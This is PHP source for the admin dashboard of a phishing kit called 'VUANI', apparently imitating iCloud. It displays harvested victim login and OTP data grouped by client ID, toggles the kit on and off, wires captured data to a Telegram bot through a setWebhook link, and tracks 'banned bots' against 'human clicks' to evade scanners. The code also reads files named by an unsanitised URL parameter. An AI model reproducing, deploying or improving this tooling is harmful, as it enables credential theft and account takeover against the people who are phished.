<?php 
include '../config.php';
if ($adminpanel != 1){
	header('HTTP/1.0 404 Not Found');die('<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
				<html>
					<meta name="viewport" content="width=device-width, initial-scale=1.0">
					<head>
						<title>404 Not Found</title>
						</head>
					<body>
						<h1>Not Found</h1>
						<p>The requested URL was not found on this server.</p>
					</body>
				</html>');exit();};$head='VUANI';
$pgctnt = '';
if(isset($_POST['pass']) || isset($_SESSION['ston'])){
	if((isset($_POST['pass']) && $_POST['pass']==$adminpass)){$_SESSION['ston']=$adminpass;header('location:./?'.time().'='.md5(uniqid()));}
	elseif((isset($_SESSION['ston']) && $_SESSION['ston']==$adminpass)){$control='goodpass';

	$ud=file_get_contents('db.json');
	$udarray = json_decode($ud);
	$yo='';
	if(isset($_GET['p'])){
		@$yo=file_get_contents($_GET['p'].'.txt');
		$title = htmlspecialchars($_GET['p']);
		
		// Split results by the headers
		$entries = preg_split('/(?=<b>[\x{1F300}-\x{1F9FF}].*?<\/b>)/u', $yo);
		$entries = array_filter($entries, 'trim');
		
		$grouped_data = [];
		
		foreach($entries as $entry) {
			if(trim($entry) == "") continue;
			
			// Extract all key-value pairs
			$lines = explode("\n", trim($entry));
			$current_client = "Unknown";
			$data_points = [];
			
			foreach($lines as $line) {
				$clean_line = trim(strip_tags($line));
				if($clean_line == "" || $clean_line == "------------------------------------------------") continue;
				
				if(strpos($clean_line, ":") !== false) {
					$parts = explode(":", $clean_line, 2);
					$label = trim($parts[0]);
					$value = trim($parts[1]);
					
					if($label == "Client ID") {
						$current_client = $value;
					} else {
						$data_points[] = ["label" => $label, "value" => $value];
					}
				}
			}
			
			if(!isset($grouped_data[$current_client])) {
				$grouped_data[$current_client] = [];
			}
			$grouped_data[$current_client] = array_merge($grouped_data[$current_client], $data_points);
		}
		
		$entries_html = "";
		foreach($grouped_data as $client_id => $data) {
			$entry_content = "";
			// Avoid duplicate labels like "Email" if they appear in both Login and OTP sections
			$seen_labels = [];
			foreach($data as $item) {
				$unique_key = $item['label'] . ":" . $item['value'];
				if(in_array($unique_key, $seen_labels)) continue;
				$seen_labels[] = $unique_key;
				
				$entry_content .= '<div class="data-row"><span class="data-label">'.$item['label'].'</span><span class="data-value">'.htmlspecialchars($item['value']).'</span></div>';
			}
			
			$entries_html .= '<div class="result-card"><div class="result-card-header">👤 CLIENT ID: '.$client_id.'</div>'.$entry_content.'</div>';
		}

		die('<!DOCTYPE html><html><head>
		<meta name="viewport" content="width=device-width, initial-scale=1.0">
		<title>'.$title.' - VUANI</title>
		<style>
			:root { 
                --bg-dark: #121212; 
                --bg-card: #1e1e1e; 
                --text-main: #f1f5f9; 
                --accent: #e8b810; 
                --bg-nav: #0f172a; 
                --success: #2ecc71;
            }
			body { font-family: "Inter", -apple-system, sans-serif; background: var(--bg-dark); color: var(--text-main); margin: 0; padding: 0; }
			.header { background: var(--bg-nav); padding: 20px; border-bottom: 2px solid var(--accent); color: var(--accent); text-align: center; font-size: 24px; letter-spacing: 5px; text-transform: uppercase; position: sticky; top: 0; z-index: 100; }
			.container { max-width: 1200px; margin: 30px auto; padding: 0 20px; }
			.results-grid { display: grid; grid-template-columns: repeat(auto-fill, minmax(350px, 1fr)); gap: 24px; align-items: start; }
			.result-card { background: var(--bg-card); border-radius: 12px; border: 1px solid #333; box-shadow: 0 10px 15px -3px rgba(0, 0, 0, 0.1); margin-bottom: 0; overflow: hidden; height: 100%; display: flex; flex-direction: column; }
			.result-card-header { background: #1e293b; padding: 16px 24px; color: var(--accent); font-weight: 700; font-size: 13px; text-transform: uppercase; letter-spacing: 0.1em; border-bottom: 1px solid #334155; }
			.data-row { padding: 12px 24px; border-bottom: 1px solid #1e293b; display: block; flex-grow: 0; }
			.data-row:last-child { border-bottom: none; }
			.data-label { display: block; font-size: 10px; color: #94a3b8; text-transform: uppercase; font-weight: 600; margin-bottom: 4px; letter-spacing: 0.05em; }
			.data-value { display: block; color: var(--console-text); font-family: "JetBrains Mono", "Consolas", monospace; font-size: 13px; word-break: break-all; }
			.back-btn { display: inline-block; background: var(--accent); color: #000; padding: 12px 24px; border-radius: 6px; text-decoration: none; font-weight: 700; font-size: 12px; text-transform: uppercase; margin-bottom: 40px; transition: transform 0.2s; }
			.back-btn:hover { transform: translateX(-5px); }
			
			@media (max-width: 640px) {
                .header { font-size: 18px; letter-spacing: 3px; padding: 12px; }
                .container { margin: 15px auto; padding: 0 12px; }
                .results-grid { grid-template-columns: 1fr; gap: 16px; }
                .result-card { border-radius: 8px; }
                .result-card-header { padding: 12px 16px; font-size: 11px; }
                .data-row { padding: 10px 16px; }
                .data-label { font-size: 9px; margin-bottom: 2px; }
                .data-value { font-size: 12px; line-height: 1.4; }
                .back-btn { width: 100%; text-align: center; padding: 16px; margin-bottom: 25px; }
            }
		</style>
		</head><body>
		<h1 class="header">'.$title.'</h1>
		<div class="container">
			<a href="./" class="back-btn">← Back to Dashboard</a>
			<div class="results-grid">
			'.$entries_html.'
			</div>
		</div>
		</body></html>');
		exit();
	} 
	else{@$yo=file_get_contents('yo.txt');};
	if($udarray->status == 'on'){$st = '#e8b810';} else{$st = 'red';};
	if($udarray->link == 'on'){$lt = '#e8b810';} else{$lt = 'red';};
	if($udarray->live == 'on'){$lp = '#e8b810';$sl = '<a   target="_blank" href="https://api.telegram.org/bot'.$TGBO.'/setWebhook?url='.$surl.'Admin/tele.php" class="btn btn-success">Activate Telegram</a> <a href="live" class="btn btn-primary">Go to Live Panel</a>';} else{$lp = 'red';$sl = '';};
	$log_html = '<div class="log-header">Visitor Activity Log</div>';
	$lines = explode("\n", $yo);
	foreach($lines as $line) {
		$clean = trim(strip_tags($line));
		if($clean == "" || strpos($clean, "---") !== false) continue;
		
		$label = "ACTIVITY"; $value = $clean;
		if(strpos($clean, ":") !== false) {
			$parts = explode(":", $clean, 2);
			$label = trim($parts[0]);
			$value = trim($parts[1]);
		}
		$log_html .= '<div class="data-row"><span class="data-label">'.$label.'</span><span class="data-value">'.$value.'</span></div>';
	}

	$pgctnt = '
<div class="dist-container">
<div class="dist">
<div class="stathd">Admin Controls</div>
<div class="controls-row">
<div class="control-item">
    <span class="control-label">Status</span>
    <form method="post" action="proc" style="display:inline"><label class="switch"><input class="'.$udarray->status.'" type="submit" name="toggle" type="submit" value="on"><span class="slider round"></span></label></form>
</div>

<div class="control-item">
    <span class="control-label">Telegram</span>
    <form method="post" action="proc" style="display:inline"><label class="switch"><input class="'.$udarray->link.'" type="submit" name="togglelink" type="submit" value="on"><span class="slider round"></span></label></form>
</div>

<div class="control-item">
    <span class="control-label">Live Panel</span>
    <form method="post" action="proc" style="display:inline"><label class="switch"><input class="'.$udarray->live.'" type="submit" name="toggleloop" type="submit" value="on"><span class="slider round"></span></label></form>
</div>
</div>
<div style="text-align:left; margin-bottom: 24px;">'.$sl.'</div>

<div class="stathd">Visitor Statistics</div>
<div class="stat-grid">
    <div class="stat-card total">
        <span class="count">'.count($udarray->visits).'</span>
        <span class="desc">Total Visitors</span>
    </div>
    <div class="stat-card bots">
        <span class="count">'.count($udarray->bots).'</span>
        <span class="desc">Banned Bots</span>
    </div>
    <div class="stat-card humans">
        <span class="count">'.count($udarray->humans).'</span>
        <span class="desc">Human Clicks</span>
    </div>
</div>

<div style="text-align:left">
<a href="./?p=Results" class="btn btn-primary">View Results</a>
<form method="post" action="proc" onsubmit="return confirm(&quot;Are you sure you want to reset all your data?\r\nThis will reset your result logs too, please make sure you save them elsewhere\r\n -- Samq&quot;);" style="display:inline"><input name="clear" class="btn btn-danger" type="submit" value="RESET ALL DATA"/></form>
</div>
</div>
<div class="dist log">
<div class="console">'.$log_html.'</div></div>
</div>';}
	else{$control='wrongpass';};
}
else{$control='nopass';};
?>
<!DOCTYPE html>
<html>
<head>
<link rel="icon" type="image/x-icon" href="https://www.icloud.com/favicon.ico">
<meta name='viewport' content='width=device-width,initial-scale=1.0'/>
<title>VUANI ADMIN</title>
<style>
:root {
    --bg-dark: #f8fafc;
    --bg-card: #ffffff;
    --text-main: #000000;
    --text-muted: #475569;
    --accent: #e8b810;
    --accent-hover: #d4a70d;
    --success: #16a34a;
    --danger: #dc2626;
    --bg-nav: #0f172a;
    --nav-text: #e8b810;
    --border: #cbd5e1;
    --console-bg: #f1f5f9;
    --console-text: #000000;
}

[data-theme="dark"] {
    --bg-dark: #0f172a;
    --bg-card: #1e293b;
    --text-main: #f1f5f9;
    --text-muted: #94a3b8;
    --border: #334155;
    --console-bg: #020617;
    --console-text: #f8fafc;
}

*{padding:0;margin:0;box-sizing:border-box;}
body { font-family: 'Inter', -apple-system, sans-serif; background-color: var(--bg-dark); color: var(--text-main); transition: background 0.3s, color 0.3s; }

.header { background: var(--bg-nav); padding: 20px; border-bottom: 2px solid var(--accent); color: var(--nav-text); text-align: center; font-size: 24px; letter-spacing: 5px; text-transform: uppercase; display: flex; justify-content: space-between; align-items: center; }
.header span { margin-left: 40px; flex-grow: 1; }

.theme-toggle { background: transparent; border: 1px solid var(--nav-text); color: var(--nav-text); padding: 8px 12px; border-radius: 6px; cursor: pointer; font-size: 12px; font-weight: 600; text-transform: uppercase; transition: all 0.2s; margin-right: 20px; }
.theme-toggle:hover { background: var(--nav-text); color: var(--bg-nav); }

.dist-container { display: flex; flex-wrap: wrap; gap: 24px; width: 95%; max-width: 1400px; margin: 30px auto; align-items: flex-start; }
.dist { background-color: var(--bg-card); padding: 30px; border-radius: 16px; border: 1px solid var(--border); box-shadow: 0 4px 6px -1px rgba(0, 0, 0, 0.1); width: 100%; flex: 1 1 600px; }
.dist.log { padding: 0; border: none; background: transparent; box-shadow: none; flex: 1 1 400px; }

.stathd { font-size: 14px; font-weight: 800; color: var(--text-main); text-transform: uppercase; letter-spacing: 0.1em; margin-bottom: 20px; text-align: left; border-left: 4px solid var(--accent); padding-left: 12px; }

.stat-grid { display: grid; grid-template-columns: repeat(auto-fit, minmax(160px, 1fr)); gap: 20px; margin-bottom: 30px; }
.stat-card { background: var(--bg-dark); padding: 24px; border-radius: 12px; border: 1px solid var(--border); text-align: center; }
.stat-card .count { font-size: 32px; font-weight: 800; display: block; margin-bottom: 4px; }
.stat-card .desc { font-size: 10px; color: var(--text-muted); text-transform: uppercase; font-weight: 700; }
.stat-card.total .count { color: var(--accent); }
.stat-card.bots .count { color: var(--danger); }
.stat-card.humans .count { color: var(--success); }

.controls-row { display: flex; gap: 12px; flex-wrap: wrap; margin-bottom: 24px; }
.control-item { flex: 1 1 180px; display: flex; align-items: center; justify-content: space-between; padding: 12px 16px; background: var(--bg-dark); border-radius: 10px; border: 1px solid var(--border); }
.control-label { font-size: 11px; font-weight: 700; text-transform: uppercase; color: var(--text-main); }

.btn { display: inline-block; padding: 14px 24px; border-radius: 8px; text-decoration: none; font-weight: 700; font-size: 12px; text-transform: uppercase; border: none; cursor: pointer; transition: all 0.2s; }
.btn-primary { background: var(--accent); color: #000; }
.btn-primary:hover { background: var(--accent-hover); transform: translateY(-1px); }
.btn-danger { background: var(--danger); color: #fff; }
.btn-success { background: var(--success); color: #fff; }

.console { background: var(--console-bg); border-radius: 16px; height: 600px; overflow-y: auto; border: 1px solid var(--border); }
.log-header { background: rgba(0,0,0,0.05); padding: 16px 24px; color: var(--text-main); font-weight: 800; font-size: 12px; text-transform: uppercase; border-bottom: 1px solid var(--border); }
.data-row { padding: 14px 24px; border-bottom: 1px solid rgba(255,255,255,0.05); text-align: left; }
.data-label { display: block; font-size: 9px; color: var(--text-muted); font-weight: 700; margin-bottom: 4px; text-transform: uppercase; }
.data-value { color: var(--console-text); font-family: 'JetBrains Mono', monospace; font-size: 13px; word-break: break-all; }

/* Switch Toggle Styling */
.switch { position: relative; display: inline-block; width: 44px; height: 24px; }
.switch input { opacity: 0; width: 0; height: 0; }
.slider { position: absolute; cursor: pointer; top: 0; left: 0; right: 0; bottom: 0; background-color: #cbd5e1; transition: .4s; border-radius: 34px; }
.slider:before { position: absolute; content: ""; height: 18px; width: 18px; left: 3px; bottom: 3px; background-color: white; transition: .4s; border-radius: 50%; }
input.on + .slider { background-color: var(--success); }
input.off + .slider { background-color: var(--danger); }
input.on + .slider:before { transform: translateX(20px); }

form.login-form { width: 100%; max-width: 400px; margin: 100px auto; padding: 40px; background: var(--bg-card); border-radius: 20px; border: 1px solid var(--border); box-shadow: 0 25px 50px -12px rgba(0, 0, 0, 0.25); text-align: center; }
.login-form input[type=password] { width: 100%; height: 50px; background: var(--bg-dark); border: 1px solid var(--border); border-radius: 10px; color: var(--text-main); padding: 0 20px; margin-bottom: 24px; outline: none; }
.login-form input[type=submit] { width: 100%; height: 50px; background: var(--accent); color: #000; font-weight: 800; border: none; border-radius: 10px; cursor: pointer; text-transform: uppercase; }

@media (max-width: 768px) {
    .dist-container { width: 98%; gap: 16px; }
    .dist { padding: 20px; }
    .header { font-size: 16px; letter-spacing: 2px; }
    .theme-toggle { padding: 6px 10px; font-size: 10px; }
}
</style>
<script>
function toggleTheme() {
    const body = document.documentElement;
    const currentTheme = body.getAttribute('data-theme') === 'dark' ? 'light' : 'dark';
    body.setAttribute('data-theme', currentTheme);
    localStorage.setItem('admin-theme', currentTheme);
    document.getElementById('theme-btn-text').textContent = currentTheme === 'dark' ? '☀️ Light Mode' : '🌙 Dark Mode';
}

document.addEventListener('DOMContentLoaded', () => {
    const savedTheme = localStorage.getItem('admin-theme') || 'dark';
    document.documentElement.setAttribute('data-theme', savedTheme);
    document.getElementById('theme-btn-text').textContent = savedTheme === 'dark' ? '☀️ Light Mode' : '🌙 Dark Mode';
});
</script>
</head>
<body>
<div class='header'>
    <span><?php echo $head; ?></span>
    <button class="theme-toggle" onclick="toggleTheme()" id="theme-btn-text">Light Mode</button>
</div>
<div style='clear:both;display:<?php if($control=='goodpass'){echo 'block';} else{echo 'none';}?>'>
<?php echo $pgctnt; ?>
</div>
<div style='display:<?php if($control=='nopass' || $control=='wrongpass'){echo 'block';} else{echo 'none';}?>'>
<form method='post' class="login-form">
<div class="login-error" style='visibility:<?php if($control=='wrongpass'){echo 'visible';} else{echo 'hidden';}?>'>
Access Denied: Incorrect Password
</div>
<input type="password" name='pass' placeholder='Admin Password'/>
<input type='submit' value='Login'/>
</form>
</div>
</body>
</html>